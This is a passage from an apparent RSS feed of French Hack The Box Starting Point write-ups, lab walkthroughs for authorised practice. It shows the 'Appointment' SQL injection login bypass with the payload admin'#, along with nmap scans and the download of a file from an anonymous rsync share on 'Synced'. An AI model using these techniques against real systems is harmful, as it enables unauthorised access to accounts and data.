plain"></span><span class="token operator" style="color:#393A34">|</span><span class="token plain">  </span><span class="token number" style="color:#36acaa">2</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> security              </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> default                          </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token operator" style="color:#393A34">|</span><span class="token plain">  </span><span class="token number" style="color:#36acaa">3</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> auto_logon            </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">false</span><span class="token plain">                            </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token operator" style="color:#393A34">|</span><span class="token plain">  </span><span class="token number" style="color:#36acaa">4</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> max_size              </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> 2M                               </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token operator" style="color:#393A34">|</span><span class="token plain">  </span><span class="token number" style="color:#36acaa">5</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> flag                  </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> 7b4</span><span class="token punctuation" style="color:#393A34">{</span><span class="token punctuation" style="color:#393A34">..</span><span class="token plain">.</span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain">da8                      </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token operator" style="color:#393A34">|</span><span class="token plain">  </span><span class="token number" style="color:#36acaa">6</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> enable_uploads        </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">false</span><span class="token plain">                            </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token operator" style="color:#393A34">|</span><span class="token plain">  </span><span class="token number" style="color:#36acaa">7</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> authentication_method </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> radius                           </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">+----+-----------------------+----------------------------------+</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">7</span><span class="token plain"> rows </span><span class="token keyword" style="color:#00009f">in</span><span class="token plain"> </span><span class="token builtin class-name">set</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">0.012</span><span class="token plain"> sec</span><span class="token punctuation" style="color:#393A34">)</span><br></span></code></pre></div></div>
<p>Et <strong>boum</strong> ! Le terminal nous affiche une ligne avec notre précieux flag : 7b4{…}da8</p>
<p>La machine est <strong>pwned</strong> !</p>]]></content:encoded>
            <category>Writeups</category>
            <category>Hack The Box</category>
            <category>Starting Point</category>
            <category>Misconfiguration</category>
            <category>Database</category>
            <category>Tier 1</category>
        </item>
        <item>
            <title><![CDATA[Appointment]]></title>
            <link>https://mohamedoutougane.com/writeups/appointment</link>
            <guid>https://mohamedoutougane.com/writeups/appointment</guid>
            <pubDate>Sat, 17 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[SQL Injection sur un formulaire de login.]]></description>
            <content:encoded><![CDATA[<p>On monte d'un niveau : bienvenue au <strong>Tier 1</strong> du programme <strong>Starting Point</strong>. Jusqu'ici, on a surtout exploité des services mal configurés. Avec <strong>Appointment</strong>, on change d'approche — on va s'attaquer à la <strong>logique du code</strong>. On découvre l'une des failles les plus célèbres du web : l'<strong>Injection SQL</strong>.</p>
<div class="theme-admonition theme-admonition-warning admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>attention</div><div class="admonitionContent_BuS1"><p>Dans ce writeup, je ne publie pas directement le flag final, l'objectif est d'apprendre en pratiquant.</p></div></div>
<div class="theme-admonition theme-admonition-caution admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>attention</div><div class="admonitionContent_BuS1"><p>N'attaquez que des machines sur lesquelles vous avez l'autorisation. Respectez les règles de la plateforme.</p></div></div>
<p><a href="https://www.youtube.com/@Raven_Breach/videos" target="_blank" rel="noopener noreferrer" class="">▶ RavenBreach sur YouTube</a></p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="reconnaissance">Reconnaissance<a href="https://mohamedoutougane.com/writeups/appointment#reconnaissance" class="hash-link" aria-label="Lien direct vers Reconnaissance" title="Lien direct vers Reconnaissance" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="découverte-dhôte">Découverte d'hôte<a href="https://mohamedoutougane.com/writeups/appointment#d%C3%A9couverte-dh%C3%B4te" class="hash-link" aria-label="Lien direct vers Découverte d'hôte" title="Lien direct vers Découverte d'hôte" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">ravenbreach@htb</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ $ </span><span class="token function" style="color:#d73a49">ping</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.8.127</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">64</span><span class="token plain"> bytes from </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.8.127: </span><span class="token assign-left variable" style="color:#36acaa">icmp_seq</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">1</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">ttl</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">63</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">time</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">8.33</span><span class="token plain"> ms</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="énumération-des-services">Énumération des services<a href="https://mohamedoutougane.com/writeups/appointment#%C3%A9num%C3%A9ration-des-services" class="hash-link" aria-label="Lien direct vers Énumération des services" title="Lien direct vers Énumération des services" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">ravenbreach@htb</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ $ nmap </span><span class="token parameter variable" style="color:#36acaa">-sC</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-sV</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.8.127</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">PORT   STATE SERVICE VERSION</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">80</span><span class="token plain">/tcp </span><span class="token function" style="color:#d73a49">open</span><span class="token plain">  http    Apache httpd </span><span class="token number" style="color:#36acaa">2.4</span><span class="token plain">.38 </span><span class="token variable punctuation" style="color:#393A34">((</span><span class="token variable" style="color:#36acaa">Debian</span><span class="token variable punctuation" style="color:#393A34">))</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token operator" style="color:#393A34">|</span><span class="token plain">_http-title: Login</span><br></span></code></pre></div></div>
<p>Le seul port ouvert est le <strong>80</strong>. La page par défaut est une page de <strong>Login</strong>.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="analyse-et-pré-exploitation">Analyse et Pré-Exploitation<a href="https://mohamedoutougane.com/writeups/appointment#analyse-et-pr%C3%A9-exploitation" class="hash-link" aria-label="Lien direct vers Analyse et Pré-Exploitation" title="Lien direct vers Analyse et Pré-Exploitation" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="le-mur-du-login">Le mur du Login<a href="https://mohamedoutougane.com/writeups/appointment#le-mur-du-login" class="hash-link" aria-label="Lien direct vers Le mur du Login" title="Lien direct vers Le mur du Login" translate="no">​</a></h3>
<p>En arrivant sur <code>http://10.129.8.127</code>, on tombe sur un formulaire classique.</p>
<p><img decoding="async" loading="lazy" alt="Formulaire de login" src="https://mohamedoutougane.com/assets/images/image1-b5dc6149bf6d0997d1218bd805b1f13e.png" width="720" height="403" class="img_ev3q"></p>
<p>On tente d'abord les identifiants par défaut (admin<!-- -->:admin<!-- -->, root<!-- -->:root<!-- -->, etc.) — rien ne fonctionne. Il est temps de passer à l'offensive logique.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="exploitation">Exploitation<a href="https://mohamedoutougane.com/writeups/appointment#exploitation" class="hash-link" aria-label="Lien direct vers Exploitation" title="Lien direct vers Exploitation" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="la-faille--injection-sql">La faille : Injection SQL<a href="https://mohamedoutougane.com/writeups/appointment#la-faille--injection-sql" class="hash-link" aria-label="Lien direct vers La faille : Injection SQL" title="Lien direct vers La faille : Injection SQL" translate="no">​</a></h3>
<p>L'application est probablement codée en <strong>PHP</strong> et utilise une base de données <strong>SQL</strong> pour vérifier les identifiants. Hypothèse de la requête SQL :</p>
<div class="language-sql codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-sql codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">SELECT</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">FROM</span><span class="token plain"> users </span><span class="token keyword" style="color:#00009f">WHERE</span><span class="token plain"> username </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'$username'</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">AND</span><span class="token plain"> password </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'$password'</span><span class="token punctuation" style="color:#393A34">;</span><br></span></code></pre></div></div>
<p>Si le développeur n'a pas "nettoyé" les inputs, on peut manipuler la requête.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="le-payload">Le payload<a href="https://mohamedoutougane.com/writeups/appointment#le-payload" class="hash-link" aria-label="Lien direct vers Le payload" title="Lien direct vers Le payload" translate="no">​</a></h3>
<p>On utilise l'apostrophe <code>'</code> qui, en SQL, délimite les chaînes de caractères. Si on en ajoute une, on "casse" la structure de la commande.</p>
<p>Dans le champ Username, on entre :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">admin'#</span><br></span></code></pre></div></div>
<p>La requête SQL devient :</p>
<div class="language-sql codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-sql codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">SELECT</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">FROM</span><span class="token plain"> users </span><span class="token keyword" style="color:#00009f">WHERE</span><span class="token plain"> username </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'admin'</span><span class="token comment" style="color:#999988;font-style:italic">#' AND password = 'a';</span><br></span></code></pre></div></div>
<ul>
<li class=""><code>admin'</code> : on ferme la chaîne de caractère</li>
<li class=""><code>#</code> : symbole de <strong>commentaire</strong> en SQL — tout ce qui suit est ignoré, y compris la vérification du mot de passe</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="execution">Execution<a href="https://mohamedoutougane.com/writeups/appointment#execution" class="hash-link" aria-label="Lien direct vers Execution" title="Lien direct vers Execution" translate="no">​</a></h3>
<p><img decoding="async" loading="lazy" alt="Saisie du payload SQLi" src="https://mohamedoutougane.com/assets/images/image2-a4fe3544f12c55c3756de58f85a5bb21.png" width="720" height="457" class="img_ev3q"></p>
<ul>
<li class="">Rendez-vous sur la page de login</li>
<li class="">Username : <code>admin'#</code></li>
<li class="">Password : n'importe quoi (ex: <code>a</code>)</li>
<li class="">Appuyez sur <strong>Login</strong></li>
</ul>
<p><img decoding="async" loading="lazy" alt="Accès obtenu et flag" src="https://mohamedoutougane.com/assets/images/image3-464d1d281544b3ef5e152ac61e445544.png" width="720" height="421" class="img_ev3q"></p>
<p>La session s'ouvre ! La machine est <strong>pwned</strong> !</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="post-exploitation">Post-Exploitation<a href="https://mohamedoutougane.com/writeups/appointment#post-exploitation" class="hash-link" aria-label="Lien direct vers Post-Exploitation" title="Lien direct vers Post-Exploitation" translate="no">​</a></h2>
<p>Cette machine illustre la vulnérabilité <strong>SQL Injection</strong> (SQLi). C'est une erreur critique car elle permet de contourner totalement l'authentification sans même connaître le mot de passe.</p>
<p><strong>Protection</strong> : en tant que développeur, utiliser des <strong>requêtes préparées</strong> (Prepared Statements). Le serveur sait alors faire la différence entre une commande SQL et une donnée envoyée par l'utilisateur.</p>]]></content:encoded>
            <category>Writeups</category>
            <category>Hack The Box</category>
            <category>Starting Point</category>
            <category>Web</category>
            <category>Linux</category>
            <category>Tier 1</category>
        </item>
        <item>
            <title><![CDATA[Synced]]></title>
            <link>https://mohamedoutougane.com/writeups/synced</link>
            <guid>https://mohamedoutougane.com/writeups/synced</guid>
            <pubDate>Fri, 16 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Découverte d'un service de backup.]]></description>
            <content:encoded><![CDATA[<p><strong>Synced</strong> est la dernière étape du <strong>Tier 0</strong> de <strong>Starting Point</strong>. On termine en beauté avec un utilitaire de transfert de fichiers extrêmement courant sous Linux : <strong>rsync</strong>.</p>
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>astuce</div><div class="admonitionContent_BuS1"><p>Attention : Il s'agit d'une machine VIP. Vous aurez besoin d'un abonnement HTB pour pouvoir la lancer.</p></div></div>
<div class="theme-admonition theme-admonition-warning admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>attention</div><div class="admonitionContent_BuS1"><p>Dans ce writeup, je ne publie pas directement le flag final, l'objectif est d'apprendre en pratiquant.</p></div></div>
<div class="theme-admonition theme-admonition-caution admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>attention</div><div class="admonitionContent_BuS1"><p>N'attaquez que des machines sur lesquelles vous avez l'autorisation. Respectez les règles de la plateforme.</p></div></div>
<p>Cette machine illustre parfaitement comment un outil de sauvegarde, s'il est mal configuré, peut devenir une porte ouverte sur vos données.</p>
<p><a href="https://www.youtube.com/@Raven_Breach/videos" target="_blank" rel="noopener noreferrer" class="">▶ RavenBreach sur YouTube</a></p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="reconnaissance">Reconnaissance<a href="https://mohamedoutougane.com/writeups/synced#reconnaissance" class="hash-link" aria-label="Lien direct vers Reconnaissance" title="Lien direct vers Reconnaissance" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="découverte-dhôte">Découverte d'hôte<a href="https://mohamedoutougane.com/writeups/synced#d%C3%A9couverte-dh%C3%B4te" class="hash-link" aria-label="Lien direct vers Découverte d'hôte" title="Lien direct vers Découverte d'hôte" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">ravenbreach@htb</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ $ </span><span class="token function" style="color:#d73a49">ping</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.8.119</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">64</span><span class="token plain"> bytes from </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.8.119: </span><span class="token assign-left variable" style="color:#36acaa">icmp_seq</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">1</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">ttl</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">63</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">time</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">8.33</span><span class="token plain"> ms</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="énumération-des-services">Énumération des services<a href="https://mohamedoutougane.com/writeups/synced#%C3%A9num%C3%A9ration-des-services" class="hash-link" aria-label="Lien direct vers Énumération des services" title="Lien direct vers Énumération des services" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">ravenbreach@htb</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ $ nmap </span><span class="token parameter variable" style="color:#36acaa">-sV</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.8.119</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">PORT    STATE SERVICE VERSION</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">873</span><span class="token plain">/tcp </span><span class="token function" style="color:#d73a49">open</span><span class="token plain">  </span><span class="token function" style="color:#d73a49">rsync</span><span class="token plain">   </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">protocol version </span><span class="token number" style="color:#36acaa">31</span><span class="token punctuation" style="color:#393A34">)</span><br></span></code></pre></div></div>
<p>Port <strong>873</strong> ouvert. Le service est <code>rsync</code> — un outil de synchronisation et transfert de fichiers massivement utilisé pour les backups de serveurs. Il ne transfère que les parties modifiées des fichiers (système de "delta").</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="pré-exploitation">Pré-Exploitation<a href="https://mohamedoutougane.com/writeups/synced#pr%C3%A9-exploitation" class="hash-link" aria-label="Lien direct vers Pré-Exploitation" title="Lien direct vers Pré-Exploitation" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="evaluation-de-vulnérabilité">Evaluation de vulnérabilité<a href="https://mohamedoutougane.com/writeups/synced#evaluation-de-vuln%C3%A9rabilit%C3%A9" class="hash-link" aria-label="Lien direct vers Evaluation de vulnérabilité" title="Lien direct vers Evaluation de vulnérabilité" translate="no">​</a></h3>
<p>Parfois, <strong>rsync</strong> est configuré pour accepter des connexions anonymes. On liste les répertoires disponibles.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">ravenbreach@htb</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ $ </span><span class="token function" style="color:#d73a49">rsync</span><span class="token plain"> --list-only </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.8.119::</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">public          Anonymous Share</span><br></span></code></pre></div></div>
<p>Un partage <strong>public</strong> en accès anonyme !</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="exploitation">Exploitation<a href="https://mohamedoutougane.com/writeups/synced#exploitation" class="hash-link" aria-label="Lien direct vers Exploitation" title="Lien direct vers Exploitation" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="exploration-du-dossier">Exploration du dossier<a href="https://mohamedoutougane.com/writeups/synced#exploration-du-dossier" class="hash-link" aria-label="Lien direct vers Exploration du dossier" title="Lien direct vers Exploration du dossier" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">ravenbreach@htb</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ $ </span><span class="token function" style="color:#d73a49">rsync</span><span class="token plain"> --list-only </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.8.119::public</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">-rw-r--r--  </span><span class="token number" style="color:#36acaa">33</span><span class="token plain">  </span><span class="token number" style="color:#36acaa">2022</span><span class="token plain">/10/24  flag.txt</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="récupération-du-flag">Récupération du flag<a href="https://mohamedoutougane.com/writeups/synced#r%C3%A9cup%C3%A9ration-du-flag" class="hash-link" aria-label="Lien direct vers Récupération du flag" title="Lien direct vers Récupération du flag" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">ravenbreach@htb</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ $ </span><span class="token function" style="color:#d73a49">rsync</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.8.119::public/flag.txt flag.txt</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">ravenbreach@htb</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ $ </span><span class="token function" style="color:#d73a49">cat</span><span class="token plain"> flag.txt</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">72e</span><span class="token punctuation" style="color:#393A34">{</span><span class="token punctuation" style="color:#393A34">..</span><span class="token plain">.</span><span class="token punctuation" style="color:#393A34">}</span><span class="token number" style="color:#36acaa">519</span><br></span></code></pre></div></div>
<p>La machine est <strong>pwned</strong> !</p>
<hr>
